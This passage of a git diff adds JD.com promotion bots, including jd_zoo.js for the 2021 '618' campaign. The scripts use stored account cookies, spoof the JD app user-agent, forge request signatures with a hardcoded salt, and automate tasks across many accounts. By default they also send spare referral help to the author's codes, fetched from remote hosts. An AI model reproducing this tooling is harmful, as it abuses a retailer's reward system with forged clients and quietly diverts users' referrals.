JSON.parse(data); + if (data['code'] === 200) { + starID = data.data + } else { + console.log(`frontConfig失败:`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function getHomePage() { + return new Promise((resolve) => { + const options = taskPostUrl('task/getList', 'getList', `starId=${$.activeId}`); + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 200) { + $.homeData = data; + } else { + console.log(`getList异常`) + } + } else { + console.log(`京东服务器返回空数据`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function doTask(type, id, functionID = 'doBrowse') { + return new Promise(async (resolve) => { + const options = taskPostUrl(`task/${functionID}`, functionID, `starId=${$.activeId}&id=${id}&type=${type}`) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + console.log(`doBrowse做任务结果:${data}`); + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} +function getBrowsePrize(browseId) { + return new Promise(async (resolve) => { + const options = taskPostUrl('task/getBrowsePrize', 'getBrowsePrize', `starId=${$.activeId}&browseId=${browseId}`) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + console.log(`getBrowsePrize做任务结果:${data}`); + data = JSON.parse(data); + if (data && data.code === 200) { + $.beanCount += data.data['jingBean']; + console.log(`获得京豆:${data.data['jingBean']}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function doSupport(shareId) { + return new Promise(async (resolve) => { + const options = taskPostUrl('task/doSupport', 'doSupport', `starId=${$.activeId}&shareId=${shareId}`) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data && data.code === 200) { + if (data['data']['status'] === 6) { + console.log('助力成功') + } + if (data['data']['status'] === 5) $.canHelp = false; + if (data['data']['status'] === 4) $.item['max'] = true; + } + console.log(`助力结果:${JSON.stringify(data)}\n`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} +function TotalBean() { + return new Promise(async (resolve) => { + const options = { + url: `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + headers: { + Accept: "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Cookie: cookie, + Referer: "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + }, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} +// function getDayPrizeStatus(prizeType, prizeId, status) { +// let r = Date.now().toString(); +// let hi = "07035cabb557f096"; +// let o = hi + r; +// let t = "getDayPrizeStatus"; +// let a = `starId=${$.activeId}&status=${status}&prizeType=${prizeType}&prizeId=${prizeId}`; +// return new Promise(async (resolve) => { +// const options = { +// url: `${JD_API_HOST}/getDayPrizeStatus`, +// body: `starId=${$.activeId}&status=${status}&prizeType=${prizeType}&prizeId=${prizeId}`, +// headers: { +// Accept: "application/json,text/plain, */*", +// "Content-Type": "application/x-www-form-urlencoded", +// "Accept-Encoding": "gzip, deflate, br", +// "Accept-Language": "zh-cn", +// Connection: "keep-alive", +// Cookie: cookie, +// Host: "urvsaggpt.m.jd.com", +// Referer: "https://urvsaggpt.m.jd.com/static/index.html", +// sign: za(a, o, t).toString(), +// timestamp: r, +// "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", +// }, +// }; +// $.post(options, (err, resp, data) => { +// try { +// if (err) { +// console.log(`${JSON.stringify(err)}`); +// console.log(`${$.name} API请求失败,请检查网路重试`); +// } else { +// console.log(`抽奖结果:${data}`); +// // data = JSON.parse(data); +// } +// } catch (e) { +// $.logErr(e, resp); +// } finally { +// resolve(); +// } +// }); +// }); +// } +function taskPostUrl(functionId, t, a) { + let o = '', r = ''; + const time = Date.now(); + // if (t === 'getBrowsePrize') { + // o = "07035cabb557f096" + (time + 6 * 1000); + // r = (time + 6 * 1000).toString() + // } else { + // o = "07035cabb557f096" + time; + // r = time.toString(); + // } + o = "07035cabb557f096" + time; + r = time.toString(); + // let t = "/khc/task/doQuestion"; + // let a = "brandId=555555&questionId=2&result=1" + return { + url: `${JD_API_HOST}/${functionId}`, + body: a, + headers: { + Accept: "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Cookie: cookie, + Host: "guardianstarjd.m.jd.com", + Referer: "https://guardianstarjd.m.jd.com/", + sign: za(a, o, t).toString(), + timestamp: r, + "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, "", "请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie"); + return []; + } + } +} +function taskUrl(function_id) { + let r = Date.now().toString(); + let hi = "07035cabb557f096"; + let o = hi + r; + let t = function_id; + let a = `t=${r}&starId=${$.activeId}`; + return { + url: `${JD_API_HOST}/${function_id}?t=${r}&starId=${$.activeId}`, + headers: { + Accept: "application/json,text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Cookie: cookie, + Host: "urvsaggpt.m.jd.com", + Referer: "https://guardianstarjd.m.jd.com/", + sign: za(a, o, t).toString(), + timestamp: r, + "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + }, + }; +} + +// prettier-ignore +function za(t, e, a) { + var n = "", + i = a.split("?")[1] || ""; + if (t) { + if ("string" == typeof t) n = t + i; + else if ("object" == ka(t)) { + var s = []; + for (var r in t) s.push(r + "=" + t[r]); + n = s.length ? s.join("&") + i : i; + } + } else n = i; + if (n) { + var o = n.split("&").sort().join(""); + return $.md5(o + e); + } + return $.md5(e); +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_zoo.js b/jd_zoo.js new file mode 100644 index 0000000..7770f42 --- /dev/null +++ b/jd_zoo.js @@ -0,0 +1,956 @@ +/* +618动物联萌 +解密参考自:https://github.com/yangtingxiao/QuantumultX/blob/master/scripts/jd/jd_zoo.js +活动入口:京东APP-》搜索 玩一玩-》瓜分20亿 +邀请好友助力:内部账号自行互助(排名靠前账号得到的机会多) +PK互助:内部账号自行互助(排名靠前账号得到的机会多),多余的助力次数会默认助力作者内置助力码 +小程序任务:已完成 +地图任务:已添加,下午2点到5点执行,抽奖已添加(基本都是优惠券) +金融APP任务:已完成 +活动时间:2021-05-24至2021-06-20 +脚本更新时间:2021-06-08 19:00 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#618动物联萌 +33 0,6-23/2 * * * jd_zoo.js, tag=618动物联萌, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "33 0,6-23/2 * * *" script-path=jd_zoo.js, tag=618动物联萌 + +====================Surge================ +618动物联萌 = type=cron,cronexp="33 0,6-23/2 * * *",wake-system=1,timeout=3600,script-path=jd_zoo.js + +============小火箭========= +618动物联萌 = type=cron,script-path=jd_zoo.js, cronexpr="33 0,6-23/2 * * *", timeout=3600, enable=true + */ +const $ = new Env('618动物联萌'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const pKHelpFlag = true;//是否PK助力 true 助力,false 不助力 +const pKHelpAuthorFlag = true;//是否助力作者PK true 助力,false 不助力 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = []; +$.cookie = ''; +$.inviteList = []; +$.pkInviteList = []; +$.secretpInfo = {}; +$.innerPkInviteList = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log('活动入口:京东APP-》搜索 玩一玩-》瓜分20亿\n' + + '邀请好友助力:内部账号自行互助(排名靠前账号得到的机会多)\n' + + 'PK互助:内部账号自行互助(排名靠前账号得到的机会多),多余的助力次数会默认助力作者内置助力码\n' + + '小程序任务:已完成\n' + + '地图任务:已添加,下午2点到5点执行,抽奖已添加\n' + + '金融APP任务:已完成\n' + + '活动时间:2021-05-24至2021-06-20\n' + + '脚本更新时间:2021-06-08 19:00\n' + ); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + $.hotFlag = false; //是否火爆 + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + console.log(`\n如有未完成的任务,请多执行几次\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await zoo(); + if($.hotFlag)$.secretpInfo[$.UserName] = false;//火爆账号不执行助力 + } + } + let res = [], res2 = [], res3 = []; + res3 = await getAuthorShareCode('https://raw.githubusercontent.com/gitupdate/updateTeam/master/shareCodes/jd_zoo.json'); + if (!res3) await getAuthorShareCode('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_zoo.json') + if (new Date().getHours()>= 9) { + res = await getAuthorShareCode() || []; + res2 = await getAuthorShareCode('http://cdn.trueorfalse.top/e528ffae31d5407aac83b8c37a4c86bc/') || []; + } + // if (new Date().getHours() === 9 || (new Date().getHours() === 10 && new Date().getMinutes() < 20)) { + // } + if (pKHelpAuthorFlag) { + $.innerPkInviteList = getRandomArrayElements([...$.innerPkInviteList, ...res, ...res2, ...res3], [...$.innerPkInviteList, ...res, ...res2, ...res3].length); + $.pkInviteList.push(...$.innerPkInviteList); + } + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if (!$.secretpInfo[$.UserName]) { + continue; + } + $.secretp = $.secretpInfo[$.UserName]; + $.index = i + 1; + //console.log($.inviteList); + //pk助力 + if (new Date().getHours() >= 9) { + console.log(`\n******开始内部京东账号【怪兽大作战pk】助力*********\n`); + for (let i = 0; i < $.pkInviteList.length && pKHelpFlag && $.canHelp; i++) { + console.log(`${$.UserName} 去助力PK码 ${$.pkInviteList[i]}`); + $.pkInviteId = $.pkInviteList[i]; + await takePostRequest('pkHelp'); + await $.wait(2000); + } + $.canHelp = true; + } + if ($.inviteList && $.inviteList.length) console.log(`\n******开始内部京东账号【邀请好友助力】*********\n`); + for (let j = 0; j < $.inviteList.length && $.canHelp; j++) { + $.oneInviteInfo = $.inviteList[j]; + if ($.oneInviteInfo.ues === $.UserName || $.oneInviteInfo.max) { + continue; + } + //console.log($.oneInviteInfo); + $.inviteId = $.oneInviteInfo.inviteId; + console.log(`${$.UserName}去助力${$.oneInviteInfo.ues},助力码${$.inviteId}`); + //await takePostRequest('helpHomeData'); + await takePostRequest('help'); + await $.wait(2000); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function zoo() { + try { + $.signSingle = {}; + $.homeData = {}; + $.secretp = ``; + $.taskList = []; + $.shopSign = ``; + await takePostRequest('zoo_signSingle'); + if (JSON.stringify($.signSingle) === `{}` || $.signSingle.bizCode !== 0) { + console.log($.signSingle.bizMsg); + return; + } else { + console.log(`\n获取活动信息`); + } + await $.wait(1000); + await takePostRequest('zoo_getHomeData'); + $.userInfo =$.homeData.result.homeMainInfo + console.log(`\n\n当前分红:${$.userInfo.raiseInfo.redNum}份,当前等级:${$.userInfo.raiseInfo.scoreLevel}\n当前金币${$.userInfo.raiseInfo.remainScore},下一关需要${$.userInfo.raiseInfo.nextLevelScore - $.userInfo.raiseInfo.curLevelStartScore}\n\n`); + await $.wait(1000); + await takePostRequest('zoo_getSignHomeData'); + await $.wait(1000); + if($.signHomeData.todayStatus === 0){ + console.log(`去签到`); + await takePostRequest('zoo_sign'); + await $.wait(1000); + }else{ + console.log(`已签到`); + } + let raiseInfo = $.homeData.result.homeMainInfo.raiseInfo; + if (Number(raiseInfo.totalScore) > Number(raiseInfo.nextLevelScore) && raiseInfo.buttonStatus === 1) { + console.log(`满足升级条件,去升级`); + await $.wait(3000); + await takePostRequest('zoo_raise'); + } + //收金币 + await $.wait(1000); + await takePostRequest('zoo_collectProduceScore'); + await $.wait(1000); + await takePostRequest('zoo_getTaskDetail'); + await $.wait(1000); + //做任务 + for (let i = 0; i < $.taskList.length && $.secretp && !$.hotFlag; i++) { + $.oneTask = $.taskList[i]; + if ([1, 3, 5, 7, 9, 26].includes($.oneTask.taskType) && $.oneTask.status === 1) { + $.activityInfoList = $.oneTask.shoppingActivityVos || $.oneTask.brandMemberVos || $.oneTask.followShopVo || $.oneTask.browseShopVo; + for (let j = 0; j < $.activityInfoList.length; j++) { + $.oneActivityInfo = $.activityInfoList[j]; + if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) { + continue; + } + $.callbackInfo = {}; + console.log(`做任务:${$.oneActivityInfo.title || $.oneActivityInfo.taskName || $.oneActivityInfo.shopName};等待完成`); + await takePostRequest('zoo_collectScore'); + if ($.callbackInfo.code === 0 && $.callbackInfo.data && $.callbackInfo.data.result && $.callbackInfo.data.result.taskToken) { + await $.wait(8000); + let sendInfo = encodeURIComponent(`{"dataSource":"newshortAward","method":"getTaskAward","reqParams":"{\\"taskToken\\":\\"${$.callbackInfo.data.result.taskToken}\\"}","sdkVersion":"1.0.0","clientLanguage":"zh"}`) + await callbackResult(sendInfo) + } else if ($.oneTask.taskType === 5 || $.oneTask.taskType === 3 || $.oneTask.taskType === 26) { + await $.wait(2000); + console.log(`任务完成`); + } else { + console.log($.callbackInfo); + console.log(`任务失败`); + await $.wait(3000); + } + } + } else if ($.oneTask.taskType === 2 && $.oneTask.status === 1 && $.oneTask.scoreRuleVos[0].scoreRuleType === 2){ + console.log(`做任务:${$.oneTask.taskName};等待完成 (实际不会添加到购物车)`); + $.taskId = $.oneTask.taskId; + $.feedDetailInfo = {}; + await takePostRequest('zoo_getFeedDetail'); + let productList = $.feedDetailInfo.productInfoVos; + let needTime = Number($.feedDetailInfo.maxTimes) - Number($.feedDetailInfo.times); + for (let j = 0; j < productList.length && needTime > 0; j++) { + if(productList[j].status !== 1){ + continue; + } + $.taskToken = productList[j].taskToken; + console.log(`加购:${productList[j].skuName}`); + await takePostRequest('add_car'); + await $.wait(1500); + needTime --; + } + }else if ($.oneTask.taskType === 2 && $.oneTask.status === 1 && $.oneTask.scoreRuleVos[0].scoreRuleType === 0){ + $.activityInfoList = $.oneTask.productInfoVos ; + for (let j = 0; j < $.activityInfoList.length; j++) { + $.oneActivityInfo = $.activityInfoList[j]; + if ($.oneActivityInfo.status !== 1 || !$.oneActivityInfo.taskToken) { + continue; + } + $.callbackInfo = {}; + console.log(`做任务:浏览${$.oneActivityInfo.skuName};等待完成`); + await takePostRequest('zoo_collectScore'); + if ($.oneTask.taskType === 2) { + await $.wait(2000); + console.log(`任务完成`); + } else { + console.log($.callbackInfo); + console.log(`任务失败`); + await $.wait(3000); + } + } + } + } + await $.wait(1000); + await takePostRequest('zoo_getHomeData'); + raiseInfo = $.homeData.result.homeMainInfo.raiseInfo; + if (Number(raiseInfo.totalScore) > Number(raiseInfo.nextLevelScore) && raiseInfo.buttonStatus === 1) { + console.log(`满足升级条件,去升级`); + await $.wait(1000); + await takePostRequest('zoo_raise'); + } + //===================================图鉴里的店铺==================================================================== + if (new Date().getHours()>= 17 && new Date().getHours()<= 18 && !$.hotFlag) {//分享 + $.myMapList = []; + await takePostRequest('zoo_myMap'); + for (let i = 0; i < $.myMapList.length; i++) { + await $.wait(3000); + $.currentScence = i + 1; + if ($.myMapList[i].isFirstShare === 1) { + console.log(`去分享${$.myMapList[i].partyName}`); + await takePostRequest('zoo_getWelfareScore'); + } + } + } + if (new Date().getHours() >= 14 && new Date().getHours() <= 17 && !$.hotFlag){//30个店铺,为了避免代码执行太久,下午2点到5点才做店铺任务 + console.log(`去做店铺任务`); + $.shopInfoList = []; + await takePostRequest('qryCompositeMaterials'); + for (let i = 0; i < $.shopInfoList.length; i++) { + $.shopSign = $.shopInfoList[i].extension.shopId; + console.log(`执行第${i+1}个店铺任务:${$.shopInfoList[i].name} ID:${$.shopSign}`); + $.shopResult = {}; + await takePostRequest('zoo_shopLotteryInfo'); + await $.wait(1000); + 